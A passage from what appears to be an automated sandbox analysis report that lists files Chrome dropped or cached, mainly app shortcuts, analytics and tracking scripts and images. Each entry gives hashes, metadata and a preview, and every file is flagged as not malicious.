.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 11:38:39 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9975467845457424
Encrypted:	false
SSDEEP:	48:8XdxT5Jx2H5idAKZdA1vehDiZUkwqeh8y+R:8XHxlCy
MD5:	F3767FCA9DAD030AFD2D5135014257F3
SHA1:	415F4B4880F69F6620D5D07855B49FC7300499CC
SHA-256:	D58C867DA53E695822B89BD603613BCA7A4B298F4305C6DDC5248288CA8267AF
SHA-512:	69D800910D0F0479B8D80000C90CCB07DA598EAEA7C598E35CBC745AA7F7B884AC170FD6257531E7ACCBE767F4FE51CEC4E66985B2A644C7647A1434292ECC60
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........E...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|.X......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 11:38:39 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9846465043372716
Encrypted:	false
SSDEEP:	48:8kdxT5Jx2H5idAKZdA1hehBiZUk1W1qehGy+C:8CHx19my
MD5:	C4C7A62A36002F3BA3C6A6C4B15C6BAE
SHA1:	40AB6E27FC427016CD9C187F7D15BC957ACD2C36
SHA-256:	8E9B4F62DCFA9223469F73563D177ACFB726579413AACE667E1FAD3681B3A288
SHA-512:	FF181F2901D1A69D7609FFB315DF2CAE8775113A777CEE411765772326DFD3921725E560C126E342AD898280504229733635E5453C12A2297B2D0EB3331C24BD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....t...E...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|.X......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jul 3 11:38:39 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.995612847964832
Encrypted:	false
SSDEEP:	48:8IsKdxT5Jx2H5idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbUy+yT+:8IFHxJT/TbxWOvTbUy7T
MD5:	4498FE3E9E06D5093FB786D35C36FBE1
SHA1:	25E19EB627B02B67C48C548E541A88E25C70E953
SHA-256:	5B2771EBCC0B1C0B18619E65F63A3CC756D79C58F93721815C1634D03E0F1CAF
SHA-512:	8AC319E444F73B91D9AAB21C98FA2EC4E5236E3CF387DB47EB16F4E914F762108CCA503E95EA6A07028FAA760D90E6B8CF68695247E3FBD4872B80A74B02B56D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........E...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|.X......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5818)
Category:	downloaded
Size (bytes):	5868
Entropy (8bit):	5.210479367920209
Encrypted:	false
SSDEEP:	96:xeFrmOMouvS4DCppPh8MRk1MR5MRZMRuPMRcLa4S/+qWi3kwdr3fCK3K6y:g6ot8CpphVP6auUkm+Wk2rPCJf
MD5:	EFD92929841BEE7B87C668C11512CFDA
SHA1:	DFC6FFE0E1C8157558474B3CE24BFB666CD6030C
SHA-256:	EFED9C588A2CCCD58F60A79BC11F9D8918B65A87BCA0F871902A32F53998816C
SHA-512:	C30120E73B92A3CB83ECAF242526E6772A918AD7005B17CBC9E3C3E92F27EB56972E864FD209BCD8CE57E9096B4EC9D21CE552662CEAD959E2C72EB07DF924EA
Malicious:	false
Reputation:	low
URL:	https://cdn.rudderlabs.com/v1.1/js-integrations/GoogleTagManager.min.js
Preview:	var GoogleTagManager_RS=function(e){"use strict";function t(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var r=0,n=Array(t);r<t;r++)n[r]=e[r];return n}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t,r){return t&&function(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,l(n.key),n)}}(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),e}function a(e,t,r){return(t=l(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function o(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function i(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?o(Object(r),!0).forEach((function(t){a(e,t,r[t])}

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47564)
Category:	downloaded
Size (bytes):	386102
Entropy (8bit):	5.573185155780572
Encrypted:	false
SSDEEP:	3072:FwicY2PX2NaiJ9iVZZLNF5hf3A0sjngvLMzU46ndblOKfy4WqM0bukMGVz64:W62/2N+VZ9NFnc8hmTqM0qkMqh
MD5:	17E2B89F5730F37E18AFDA4C18ABFDE5
SHA1:	CF074D36A98866AA626189520018788A9F8DF74C
SHA-256:	605C9DBA73F139BC36BFC886CED13FC0E807473AB254F570D64B15FC5A7F5F5B
SHA-512:	25D5FB9585F6AEB6B6142C960F0DAC8D60BC4EE2D3F607F3E7ED97C9436FF6A40C8F028D9370F393DD6DD6820150E0E3E179F7CF9B28172429AEB34F9B5B0C6C
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-WN2J6
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"360",. . "macros":[{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__e"},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"OnetrustActiveGroups"},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"event_detail"},{"function":"__v","vtp_name":"plan","vtp_defaultValue":"","vtp_setDefaultValue":true,"vtp_dataLayerVersion":1}

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	124488
Entropy (8bit):	5.411126555605441
Encrypted:	false
SSDEEP:	3072:Z94cai2oVCVj3oezCVWV15Xe+MKixrPs5T:ISCVj3oq2o5T
MD5:	F48F24A493ED7855B4FD7EA68F53306F
SHA1:	FAB1148A946B3AAA1A3F6278F5201F71BB5B330C
SHA-256:	02FC2779FD1DD7253A69FF0D8F41A4FD9917EE2B7F29F27683A7FC91DC6D7872
SHA-512:	E87533565351EE3CEE760C3CFAB756C7F5135437FEDACC45980E1BD6446B1F67781FD476E4B12B55540441607DDB6473DA9054A12B2EC54234D693D7792A5C3A
Malicious:	false
Reputation:	low
URL:	https://cdn.rudderlabs.com/v1.1/rudder-analytics.min.js
Preview:	var rudderanalytics=function(e){"use strict";function t(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var n=0,r=Array(t);n<t;n++)r[n]=e[n];return r}function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function r(e,t,n){return t&&function(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,f(r.key),r)}}(e.prototype,t),Object.defineProperty(e,"prototype",{writable:!1}),e}function i(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]\|\|e["@@iterator"];if(!n){if(Array.isArray(e)\|\|(n=d(e))\|\|t){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,s=!0,a=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5260
Entropy (8bit):	4.215592630971274
Encrypted:	false
SSDEEP:	96:jW6J/u1onLJDJqvFvin4RpB14Vj7ynhvUhQyDk4RbZH58E2F0y94od:jWWm+ndDEa4RX+uUd5x4E2D
MD5:	9AFD1C80CB00CFD01C6AF5C43CE0136F
SHA1:	B3BCB5D2E86BFA967B22B2BB9057E9E09B3DABB9
SHA-256:	CB1DA2F299572BF2ACCE785FEF2EE323C1C39AE079FF8DB5C85B6486DD71E0D4
SHA-512:	C3345B00BB68217C45AF65858F8CD1B2ED01F8D2442438C92038CA1E30A155F6B797C0FC2B45AE09E306B99D3DA5B2A7A6721EE24D50D3D151A491C576D34237
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_1" xmlns="http://www.w3.org/2000/svg" width="397" height="116" viewBox="0 0 397 116">. <defs>. <style>.cls-1{fill:none;}.cls-2{fill:#eb5454;}</style>. </defs>. <path d="m128.44,96v-56h12.16l17.84,35.52,17.6-35.52h12.16v56h-10.24v-38.64l-15.6,30.64h-8.08l-15.6-30.64v38.64h-10.24Z"/>. <path d="m208.52,96.96c-3.41,0-6.21-.55-8.4-1.64-2.19-1.09-3.81-2.55-4.88-4.36-1.07-1.81-1.6-3.81-1.6-6,0-3.68,1.44-6.67,4.32-8.96,2.88-2.29,7.2-3.44,12.96-3.44h10.08v-.96c0-2.72-.77-4.72-2.32-6-1.55-1.28-3.47-1.92-5.76-1.92-2.08,0-3.89.49-5.44,1.48-1.55.99-2.51,2.44-2.88,4.36h-10c.27-2.88,1.24-5.39,2.92-7.52,1.68-2.13,3.85-3.77,6.52-4.92,2.67-1.15,5.65-1.72,8.96-1.72,5.65,0,10.11,1.41,13.36,4.24,3.25,2.83,4.88,6.83,4.88,12v24.4h-8.72l-.96-6.4c-1.17,2.13-2.81,3.89-4.92,5.28-2.11,1.39-4.81,2.08-8.12,2.08Zm2.32-8c2.93,0,5.21-.96,6.84-2.88,1.63-1.92,2.65-4.29,3.08-7.12h-8.72c-2.72,0-4.67.49-5.84,1.48-1.17.99-1.76,2.2-1.76,3.64,0,1.55.59,2

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (39370)
Category:	downloaded
Size (bytes):	39373
Entropy (8bit):	5.513503001490316
Encrypted:	false
SSDEEP:	768:j07PC4LifTB9BgxFJWUwcYeTivmT7+S5nC8PC/VDUZLqHQ48n96:Ye3gxF8bvyB5TPCWJqHQ9c
MD5:	C5FC28C57A072765C966EE010CF77B3A
SHA1:	FAA51716230984C5CC60D0067D9165BBC5D7583D
SHA-256:	942A9BA1FE78B402E8B52B83058DBBABDE8DB6B4D1DEBF960D6D5AFE5192DB52
SHA-512:	A1F0F1A1D1F4DDCD2946E85B2DB51867EE4D2F7B436B0B126B246B8EF895B72C67EA25358F50872135DEB68957521C51E663014E225F8E0B077F7A8BCD0977D2
Malicious:	false
Reputation:	low
URL:	https://snap.licdn.com/li.lms-analytics/insight.min.js
Preview:	!function(){"use strict";function n(n,t,e){return t in n?Object.defineProperty(n,t,{value:e,enumerable:!0,configurable:!0,writable:!0}):n[t]=e,n}var t,e,r,i,o={ADVERTISING:"ADVERTISING",ANALYTICS_AND_RESEARCH:"ANALYTICS_AND_RESEARCH",FUNCTIONAL:"FUNCTIONAL"},a="GUEST",u="MEMBER",c=0,l=1,d=2,s=(n(t={},a,"li_gc"),n(t,u,"li_mc"),t),f=function Je(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:null,t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null,e=arguments.length>2&&arguments[2]!==undefined?arguments[2]:null,r=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;for(var i in function(n,t){if(!(n instanceof t))throw new TypeError("Cannot call a class as a function")}(this,Je),n=n\|\|{},this.consentAvailable=!1,this.issuedAt=t,this.userMode=e,this.optedInConsentMap={},o)n[i]=n[i]\|\|c,n[i]!==c&&(this.consentAvailable=!0),this.optedInConsentMap[i]=n[i]===l\|\|n[i]===c&&r===l},v=(e=[o.ADVERTISING,o.ANALYTICS_AND_RESEARCH,o.FUNCTIONAL],r=[c,l,d,c],i=new R

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	798
Entropy (8bit):	7.694880185055995
Encrypted:	false
SSDEEP:	24:sSSstU+ykAXxRspkIcm59MsWEoqTxz0JAa:sSSsz9AhRkwm5urAz6Aa
MD5:	E62B574D06923E36AF33F7BE0A4A57AA
SHA1:	AC174BE26195FB72605BFDBA2304BC2AB809BC64
SHA-256:	B34EC5D4D9A445F64BBC44B30CFAFF64ED32A6D24E76230DEC4576F40FDAFA4D
SHA-512:	81F5FA44763E564A4F7E8E55F890B768302D831BB1DBD50E9CF41C6A2B46206D92EF2E85406509097A46A8F567852ABD9A05F8C084BC280535AB316604AD6D5F
Malicious:	false
Reputation:	low
URL:	https://login.mailgun.com/login/static/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx...KH.U.....!5..LM3..`".%.....(...BJ.. .C).Sk.e..R...:. #..!.....60....y.}..`.?m=.g.~k..{..CK.[......y\|.<..<.cv....Hi...8...W...b.x..H..Y.._ (.a.9.F9L#........2.......... vP...\.......#j....2]..J..AI..ua .B...-.......}...<."..X.M01'.#.@.4....B.I..Nz../I.,..P;.-#...4..-p>.]..N..!.......@zga.)....B...ju.m...:X..l....o.._..G...Q...r9..%_s...B...Pp.`N7...r~V..w...+<..N"8W..f....J.nw...Y(....AW?.....G....q.~W.=..."..0g.e. s..3.....J.?.^.WHv..^s...!..EW 8O.>.c.'%{Rf.0..>....0.3...2....O.....;....:$.@5,..#$..V..o..a......p..E#....!.q.../.W....O........}..v.S.=LL!$.>......`... d..=0....G..AU...D}.Q............`Gt....L..N.v3...D[.....D.V....$......5..*jR.@=.P..b.9...~GH.....6Lp........h=....a)........lM....IEND.B`.

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (7810)
Category:	downloaded
Size (bytes):	7811
Entropy (8bit):	5.247161106906145
Encrypted:	false
SSDEEP:	192:tCZy9SAxrEBvLvKfNlwB3u9CNgcsuVrV93Afu9F0RToYx0:tCZy9h5EBvLvECTgcsuVrVpAf2FMu
MD5:	5FE8161C0F10457C7B93D836113414FE
SHA1:	9D8FBD502827ADC00C2430BB185D776A9F8008D0
SHA-256:	7CA8CEF71E92E35D74CA86930EB32061244889C46631E69E84C74B85F3EFA376
SHA-512:	EFAFB7885CAB841D9CA0F382D28AB6DDF870A99E3E855DF04FFC269004B2EEE71E739D73053EBBF1B9A3B13E02BBC642EFF867A58C5A79EB5BA40A23336E762B
Malicious:	false
Reputation:	low
URL:	https://get.sinchemail.com/pr/js
Preview:	!function(){"use strict";var o="https://grsm.io",r="https://partnerlinks.io";function e(o){return"string"!=typeof o?"":decodeURIComponent(atob(o).split("").map((function(o){return"%"+("00"+o.charCodeAt(0).toString(16)).slice(-2)})).join(""))}var n,t,s=(n=function(o,r){var e;e=function(){function o(){for(var o=0,r={};o<arguments.length;o++){var e=arguments[o];for(var n in e)r[n]=e[n]}return r}function r(o){return o.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}return function e(n){function t(){}function s(r,e,s){if("undefined"!=typeof document){"number"==typeof(s=o({path:"/"},t.defaults,s)).expires&&(s.expires=new Date(1new Date+864e5s.expires)),s.expires=s.expires?s.expires.toUTCString():"";try{var u=JSON.stringify(e);/^[\{\[]/.test(u)&&(e=u)}catch(o){}e=n.write?n.write(e,r):encodeURIComponent(String(e)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40\|5B\|5D\|5E\|60\|7B\|7D\|7C)/g,decodeURIComponent),r=encodeURIComponent(String(r)).replace(/%(23\|24\|26\|2B\|5E\|60\|7C)/g,decodeURIComponent).replac

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
Preview:	<p></p>

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.053072516654254
Encrypted:	false
SSDEEP:	3:InSinPBend8CnSA8CnSA8CR:wPBcRnSUnSUR
MD5:	D599920C876B1FCCCA2528A7E281796B
SHA1:	252857CE2B3AB4F9D27F1479FDF87FED616DAB94
SHA-256:	3F30C83E20B060BBD8F7555DDA5853ABADBA7D2F77EA7C7BBFC0802DC512053C
SHA-512:	360E5172AFD307A3BC92693F19EC9A746CE60D18EA2A5A11DB070A15568A87C4B62DFAAE06AF96F663949599B314C96ED5C6F4A68B691C14D9D86B8A7AA55AB2
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISLAmI1gvuQu_AjRIFDXhvEhkSBQ2M818KEgUN26gwYBIFDduoMGASBQ3bqDBg?alt=proto
Preview:	Ci0KBw14bxIZGgAKBw2M818KGgAKBw3bqDBgGgAKBw3bqDBgGgAKBw3bqDBgGgA=

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.694880185055995
Encrypted:	false
SSDEEP:	24:sSSstU+ykAXxRspkIcm59MsWEoqTxz0JAa:sSSsz9AhRkwm5urAz6Aa
MD5:	E62B574D06923E36AF33F7BE0A4A57AA
SHA1:	AC174BE26195FB72605BFDBA2304BC2AB809BC64
SHA-256:	B34EC5D4D9A445F64BBC44B30CFAFF64ED32A6D24E76230DEC4576F40FDAFA4D
SHA-512:	81F5FA44763E564A4F7E8E55F890B768302D831BB1DBD50E9CF41C6A2B46206D92EF2E85406509097A46A8F567852ABD9A05F8C084BC280535AB316604AD6D5F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....IDATx...KH.U.....!5..LM3..`".%.....(...BJ.. .C).Sk.e..R...:. #..!.....60....y.}..`.?m=.g.~k..{..CK.[......y\|.<..<.cv....Hi...8...W...b.x..H..Y.._ (.a.9.F9L#........2.......... vP...\.......#j....2]..J..AI..ua .B...-.......}...<."..X.M01'.#.@.4....B.I..Nz../I.,..P;.-#...4..-p>.]..N..!.......@zga.)....B...ju.m...:X..l....o.._..G...Q...r9..%_s...B...Pp.`N7...r~V..w...+<..N"8W..f....J.nw...Y(....AW?.....G....q.~W.=..."..0g.e. s..3.....J.?.^.WHv..^s...!..EW 8O.>.c.'%{Rf.0..>....0.3...2....O.....;....:$.@5,..#$..V..o..a......p..E#....!.q.../.W....O........}..v.S.=LL!$.>......`... d..=0....G..AU...D}.Q............`Gt....L..N.v3...D[.....D.V....$......5..*jR.@=.P..b.9...~GH.....6Lp........h=....a)........lM....IEND.B`.

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (40143)
Category:	downloaded
Size (bytes):	105494
Entropy (8bit):	5.4784222840356325
Encrypted:	false
SSDEEP:	1536:R24USTbS8zA8pYQMflMLIGrkCDt7q42lIUiG0z6nHM9/wjM:RNxbhA8mNM0bCDte47ens9/wjM
MD5:	B1C12A1201C322BF0161E50C03314F67
SHA1:	320ECBFEA4AC62281D750CA3646330F123C4C7B4
SHA-256:	123B0F29BF933D18CD24B39576B01EC55619CD1AAF3DCB93D096FDC07C2A7F1B
SHA-512:	5D2EB4A0FDCF866A4B019F420F2DEA9D0A551C69FC2E1673C8ACA23C5F061BEC87C6B2A42246BF05D302E77760CF0278937E777EB23C770FB8AFE4728B742ED2
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/signals/config/541164370529087?v=2.9.104&r=stable
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5482)
Category:	downloaded
Size (bytes):	61462
Entropy (8bit):	5.32906577594063
Encrypted:	false
SSDEEP:	1536:RJeUwT7hpwrlHM9Z/K01g/TZ02LKVEyKS:RIT7ms9Z/KB/j8tKS
MD5:	68604C7575081AC791CE54512BECC9CA
SHA1:	F83F8939AA3A93B2DA6E7807B3845A658E0773A1
SHA-256:	48546338CEFB01967AA79C5B7DA6901EC5BAADF98919B78F330617248A129875
SHA-512:	860EC6A8D5DF27CAD94C22CBCF313A65D65FF56BF8C9CEBB0812EFE7173EB432087B2F5063511EE29021456653B644A03AAE1EB769DBA89BE559E66FE908E0B0
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/signals/config/541164370529087?v=2.9.160&r=stable&domain=9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net&hme=733c3732ec767f7a62e7787aff967e6d19b1e13e533937876f2e15efe07bf678&ex_m=67%2C113%2C100%2C104%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C160%2C163%2C175%2C171%2C172%2C174%2C28%2C94%2C50%2C73%2C173%2C155%2C158%2C168%2C169%2C176%2C122%2C39%2C33%2C134%2C14%2C48%2C181%2C180%2C124%2C17%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C101%2C103%2C37%2C102%2C29%2C25%2C156%2C159%2C131%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C98%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C34%2C80%2C2%2C35%2C60%2C40%2C99%2C43%2